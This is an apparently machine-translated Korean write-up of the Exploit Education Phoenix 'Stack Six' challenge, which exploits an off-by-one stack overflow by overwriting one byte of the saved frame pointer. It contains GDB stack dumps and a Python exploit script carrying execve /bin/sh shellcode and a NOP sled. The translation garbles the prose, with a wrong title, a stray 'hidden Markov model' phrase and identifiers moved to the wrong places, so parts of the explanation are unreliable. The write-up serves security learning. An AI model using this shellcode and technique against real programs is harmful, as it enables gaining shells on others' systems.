랴오닝 성
19232 단어 cybersecuritypwnctf
배경.
나는 교육을 이용한 봉황성(Phoenix) 중의 도전, 즉 Stack Six을 해결했다.나는 이것이 한 바이트만 덮어쓰면 RCE를 초래할 수 있다는 흥미로운 예라는 것을 발견했다.우리는 아래의 원본 코드를 얻었다.
/*
* phoenix/stack-six, by https://exploit.education
*
* Can you execve("/bin/sh", ...) ?
*
* Why do fungi have to pay double bus fares? Because they take up too
* mushroom.
*/
#include <err.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#define BANNER \
"Welcome to " LEVELNAME ", brought to you by https://exploit.education"
char *what = GREET;
char *greet(char *who) {
char buffer[128];
int maxSize;
maxSize = strlen(who);
if (maxSize > (sizeof(buffer) - /* ensure null termination */ 1)) {
maxSize = sizeof(buffer) - 1;
}
strcpy(buffer, what);
strncpy(buffer + strlen(buffer), who, maxSize);
return strdup(buffer);
}
int main(int argc, char **argv) {
char *ptr;
printf("%s\n", BANNER);
#ifdef NEWARCH
if (argv[1]) {
what = argv[1];
}
#endif
ptr = getenv("ExploitEducation");
if (NULL == ptr) {
// This style of comparison prevents issues where you may accidentally
// type if(ptr = NULL) {}..
errx(1, "Please specify an environment variable called ExploitEducation");
}
printf("%s\n", greet(ptr));
return 0;
}
벌레.
우리는 설정
ExploitEducation
환경 변수를 통해 입력을 전달한다.그리고 우리의 입력이 검사된 것 같다.입력 길이가 127바이트를 초과하면 이전 127바이트만 buffer
로 복사됩니다.단, 이 프로그램은 길이
what
를 고려하지 않습니다.우리의 내용을 그것으로 복제하기 전에이것은 우리가 여전히 버퍼를 넘길 수 있다는 것을 의미한다.128what
s를 입력해 봅시다.user@phoenix-amd64:~$ export ExploitEducation=`python -c "print 'A' * 128"`
user@phoenix-amd64:~$
GDB에서 프로그램을 디버깅합니다.나는 buffer
의 시작과 끝에 두 개의 단점을 설정하기로 결정했다.A
에서 main
를 호출한 후에 나는 또 다른 단점을 설정했다.gef➤ break *main
Breakpoint 1 at 0x40079b
gef➤ break *main + 91
Breakpoint 2 at 0x4007f7
gef➤ break *greet + 133
Breakpoint 3 at 0x400782
gef➤ run
우리는 곧 메인 메뉴의 시작 부분에서 잠시 멈추었다.우리 128strncpy
이 어디에 있는지 봅시다.우리는 우리의 입력이 환경 변수에 있다는 것을 안다.GEF는 문자열을 가리키는 레지스터를 표시합니다.$rbx : 0x00007fffffffe5e8 → 0x00007fffffffe7fa → "/opt/phoenix/amd64/stack-six"
$rdx : 0x00007fffffffe5f8 → 0x00007fffffffe817 → "LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so[...]"
$rsi : 0x00007fffffffe5e8 → 0x00007fffffffe7fa → "/opt/phoenix/amd64/stack-six"
우리는 즉시 익숙한 환경 변수greet
를 보았다.A
부터 문자열을 더 넣겠습니다.gef➤ x/40s 0x00007fffffffe7fa
0x7fffffffe7fa: "/opt/phoenix/amd64/stack-six"
💇
0x7fffffffeeb3: "COLUMNS=99"
0x7fffffffeebe: "MAIL=/var/mail/user"
0x7fffffffeed2: "SHELL=/bin/bash"
0x7fffffffeee2: "TERM=xterm-256color"
0x7fffffffeef6: "SHLVL=1"
0x7fffffffeefe: "ExploitEducation=", 'A' <repeats 128 times>
💇
우리는 우리의 의견을 찾았다.우리LS_COLORS
는 문자열'ExploitEducation='다음에 시작합니다. 이 문자열의 크기는 17바이트입니다.GEF를 사용하면 빠른 계산을 할 수 있습니다.gef➤ $ 0x7fffffffeefe+17
140737488350991
0x7fffffffef0f
0b11111111111111111111111111111111110111100001111
b'\x7f\xff\xff\xff\xef\x0f'
b'\x0f\xef\xff\xff\xff\x7f'
만약 우리가 지금 0x00007fffffffe7fa
에서 128개의 문자를 저장한다면 A
s를 볼 수 있을 것이다.gef➤ x/128c 0x7fffffffef0f
0x7fffffffef0f: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x7fffffffef17: 0x41 0x41 0x41 0x41 0x41 💇
완벽해.우리는 0x7fffffffef0f
의 단점에 도달할 때까지 계속 집행했다.창고를 검사합시다.gef➤ continue
Continuing.
Welcome to phoenix/stack-six, brought to you by https://exploit.education
💇
gef➤ x/32gx $rsp
0x7fffffffe4b0: 0x00007ffff7ffc948 0x00007fffffffef0f
0x7fffffffe4c0: 0x2c656d6f636c6557 0x6c70206d61204920
0x7fffffffe4d0: 0x6f74206465736165 0x6f79207465656d20
0x7fffffffe4e0: 0x4141414141412075 0x4141414141414141
0x7fffffffe4f0: 0x4141414141414141 0x4141414141414141
💇
0x7fffffffe540: 0x4141414141414141 0x4141414141414141
0x7fffffffe550: 0x4141414141414141 0x4141414141414141
0x7fffffffe560: 0x00007fffffffe541 0x00000000004007e9
0x7fffffffe570: 0x00007fffffffe5e8 0x00000001ffffe5f8
0x7fffffffe580: 0x000000000040079b 0x00007fffffffef0f
0x7fffffffe590: 0x0000000000000001 0x00007ffff7d8fd62
0x7fffffffe5a0: 0x0000000000000000 0x00007fffffffe5e0
우리는 우리의 A
버퍼가 잘 채워진 것을 볼 수 있다.우리는 어떤 지침을 덮어썼습니까?등기부를 검사합시다.$rsp : 0x00007fffffffe4b0 → 0x00007ffff7ffc948 → "Welcome to phoenix/stack-six, brought to you by ht[...]"
$rbp : 0x00007fffffffe560 → 0x00007fffffffe541 → 0x4141414141414141 ("AAAAAAAA"?)
$rsi : 0x0
$rdi : 0x00007fffffffe561 → 0xe900007fffffffe5
$rip : 0x0000000000400782 → <greet+133> lea rax, [rbp-0xa0]
와!greet
레지스터가 우리A
s를 가리키나요?최소 유효 바이트 값은 0x41입니다.은마르코프 모형...126rbp
과 1A
만 입력하면 프로그램을 다시 실행할 수 있습니다.같은 단점을 설정한 프로그램을 디버깅합니다.user@phoenix-amd64:~$ export ExploitEducation=`python -c "print 'A' * 126 + 'B'"`
user@phoenix-amd64:~$ gdb /opt/phoenix/amd64/stack-six
방금 자리로 돌아가서 창고를 점검합시다.gef➤ x/32gx $rsp
0x7fffffffe4b0: 0x00007ffff7ffc948 0x00007fffffffef10
0x7fffffffe4c0: 0x2c656d6f636c6557 0x6c70206d61204920
0x7fffffffe4d0: 0x6f74206465736165 0x6f79207465656d20
0x7fffffffe4e0: 0x4141414141412075 0x4141414141414141
0x7fffffffe4f0: 0x4141414141414141 0x4141414141414141
💇
0x7fffffffe540: 0x4141414141414141 0x4141414141414141
0x7fffffffe550: 0x4141414141414141 0x4141414141414141
0x7fffffffe560: 0x00007fffffffe542 0x00000000004007e9
0x7fffffffe570: 0x00007fffffffe5e8 0x00000001ffffe5f8
0x7fffffffe580: 0x000000000040079b 0x00007fffffffef10
0x7fffffffe590: 0x0000000000000001 0x00007ffff7d8fd62
0x7fffffffe5a0: 0x0000000000000000 0x00007fffffffe5e0
우리는 레지스터를 검사했는데, 실제로는 A
의 한 바이트를 덮어쓸 수 있다.$rsp : 0x00007fffffffe4b0 → 0x00007ffff7ffc948 → "Welcome to phoenix/stack-six, brought to you by ht[...]"
$rbp : 0x00007fffffffe560 → 0x00007fffffffe542 → 0x4141414141414141 ("AAAAAAAA"?)
$rsi : 0x0
$rdi : 0x00007fffffffe561 → 0xe900007fffffffe5
$rip : 0x0000000000400782 → <greet+133> lea rax, [rbp-0xa0]
이것은 우리에게 무슨 도움이 됩니까?다음 명령을 보면 창고에서 값이 튀어나오는 것을 볼 수 있습니다. B
→ 0x400782 <greet+133> lea rax, [rbp-0xa0]
0x400789 <greet+140> mov rdi, rax
0x40078c <greet+143> call 0x400560 <strdup@plt>
0x400791 <greet+148> add rsp, 0xa8
0x400798 <greet+155> pop rbx
0x400799 <greet+156> pop rbp
우리는 이 지령을 깨뜨리고 그 가치가 우리에게 있다는 것을 깨달았다rbp
!gef➤ break *greet + 156
Breakpoint 4 at 0x400799
gef➤ continue
💇
$rsp : 0x00007fffffffe560 → 0x00007fffffffe542 → 0x4141414141414141 ("AAAAAAAA"?)
한 걸음 건너 우리는 rbp
이 확실히 우리의 부패한 가치관으로 설정되어 있음을 보았다.gef➤ ni
💇
$rbp : 0x00007fffffffe542 → 0x4141414141414141 ("AAAAAAAA"?)
우리는 마지막 단점 B
의 rbp
명령으로 계속했다.Aleave
는mov rsp, rbp
pop rbp
우선main
은 leave
의 값으로 설정됩니다.이것은 그들의 현재 상태다.$rsp : 0x00007fffffffe570 → 0x00007fffffffe5e8 → 0x00007fffffffe7fb → "/opt/phoenix/amd64/stack-six"
$rbp : 0x00007fffffffe542 → 0x993400007ffff7ff
지나가면 rsp
가 rbp
플러스 8로 설정되어 있는 것을 볼 수 있다rsp
.$rsp : 0x00007fffffffe54a → 0x414100007ffff7db
$rbp : 0x993400007ffff7ff
다음 지령은 무엇입니까?맞아요. a0x00007fffffffe542
, 기본적으로rsp
예요.ret
가 어떤 쓰레기 값을 가리키기 때문에 우리는 그것을 단계별로 나눌 것이다.공격 계획
한 바이트만 덮어쓰면 코드로 다시 실행할 수 있습니다.우리는 어떻게 해야만 이 점을 이용하여 케이스를 열 수 있습니까?우선, 우리는 최저 유효 바이트를 제어함으로써
pop rip
에서 rsp
사이의 점만 덮어쓸 수 있다는 것을 깨달아야 한다.우리는 rbp
로 돌아갈 수 있지만, 우리가 돌아왔을 때, 창고 프레임은 이미 지워졌다.그런데 우리 환경 변수는?우리가 아직 껍질 안에 있는 한 안의 물건은 줄곧 더미 속에 있다.
0x00007fffffffe500
환경 변수를 가리키는 문자 바늘을 받아들이는 매개 변수를 생각해 보세요.우리는 함수에 전달된 매개 변수가 되돌아오는 주소 다음에 저장되는 것을 안다.128
ff
s를 입력하십시오. 우리가 계산한 주소는 buffer
입니다.greet
의 단점을 클릭하고 창고를 옮겼을 때 창고A
에 저장된 주소를 똑똑히 볼 수 있습니다.gef➤ continue
Continuing.
Welcome to phoenix/stack-six, brought to you by https://exploit.education
💇
gef➤ x/32gx $rsp
💇
0x7fffffffe540: 0x4141414141414141 0x4141414141414141
0x7fffffffe550: 0x4141414141414141 0x4141414141414141
0x7fffffffe560: 0x00007fffffffe541 0x00000000004007e9
0x7fffffffe570: 0x00007fffffffe5e8 0x00000001ffffe5f8
0x7fffffffe580: 0x000000000040079b 0x00007fffffffef0f
0x7fffffffe590: 0x0000000000000001 0x00007ffff7d8fd62
0x7fffffffe5a0: 0x0000000000000000 0x00007fffffffe5e0
우리는 0x7fffffffef0f
에서 돌아오기 전에 greet
에는 0x7fffffffe588
에 8이 추가될 것이라고 이미 확정했다.그래서 main
에서 8을 빼면 우리는 rsp
를 얻는다.넘침이 있으면 rbp
를 0x7fffffffe588
로 설정할 수 있습니까?물론 우리 범위 내(0x7fffffffe580
에서 rbp
까지.뜯어먹다
import struct
# execve /bin/sh - http://shell-storm.org/shellcode/files/shellcode-806.php
shellcode = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91"
shellcode += "\xd0\x8c\x97\xff\x48\xf7\xdb\x53"
shellcode += "\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" # 27 bytes
fake_rbp = "\x80"
payload = "\x90" * 50
payload += shellcode
payload += "A" * (127 - len(payload) - 1)
payload += fake_rbp
print payload
우리가 유효 부하 디버깅 프로그램을 사용할 때, 우리는 케이스를 얻었다. 그러나 GDB 밖에서 시도할 때 오류가 발생했습니다😢 GDB는 스택에 영향을 주는 환경 변수를 추가했습니다.스택을 보다 정확하게 보기 위해 프로그램을 실행하기 전에 다음 명령을 실행합니다
gef➤ unset env LINES
gef➤ unset env COLUMNS
gef➤ set env _ /opt/phoenix/amd64/stack-six
0x7fffffffe580
에서 인터럽트를 클릭하여 창고에 저장합니다.주소가 변경되었습니다
gef➤ x/32gx $rsp
0x7fffffffe4d0: 0x00007ffff7ffc948 0x00007fffffffef10
0x7fffffffe4e0: 0x2c656d6f636c6557 0x6c70206d61204920
0x7fffffffe4f0: 0x6f74206465736165 0x6f79207465656d20
0x7fffffffe500: 0x9090909090902075 0x9090909090909090
0x7fffffffe510: 0x9090909090909090 0x9090909090909090
0x7fffffffe520: 0x9090909090909090 0x9090909090909090
0x7fffffffe530: 0xbb48c03190909090 0xff978cd091969dd1
0x7fffffffe540: 0x52995f5453dbf748 0x41050f3bb05e5457
0x7fffffffe550: 0x4141414141414141 0x4141414141414141
0x7fffffffe560: 0x4141414141414141 0x4141414141414141
0x7fffffffe570: 0x4141414141414141 0x4141414141414141
0x7fffffffe580: 0x00007fffffffe580 0x00000000004007e9
0x7fffffffe590: 0x00007fffffffe608 0x00000001ffffe618
0x7fffffffe5a0: 0x000000000040079b 0x00007fffffffef10
0x7fffffffe5b0: 0x0000000000000001 0x00007ffff7d8fd62
0x7fffffffe5c0: 0x0000000000000000 0x00007fffffffe600
최저 유효 바이트를 0x7fffffffe500
에서 ff
로 업데이트, 우리는 금색이어야 합니다
Reference
이 문제에 관하여(랴오닝 성), 우리는 이곳에서 더 많은 자료를 발견하고 링크를 클릭하여 보았다 https://dev.to/zuoshihua/phoenix-stack-six-ja0텍스트를 자유롭게 공유하거나 복사할 수 있습니다.하지만 이 문서의 URL은 참조 URL로 남겨 두십시오.
우수한 개발자 콘텐츠 발견에 전념 (Collection and Share based on the CC Protocol.)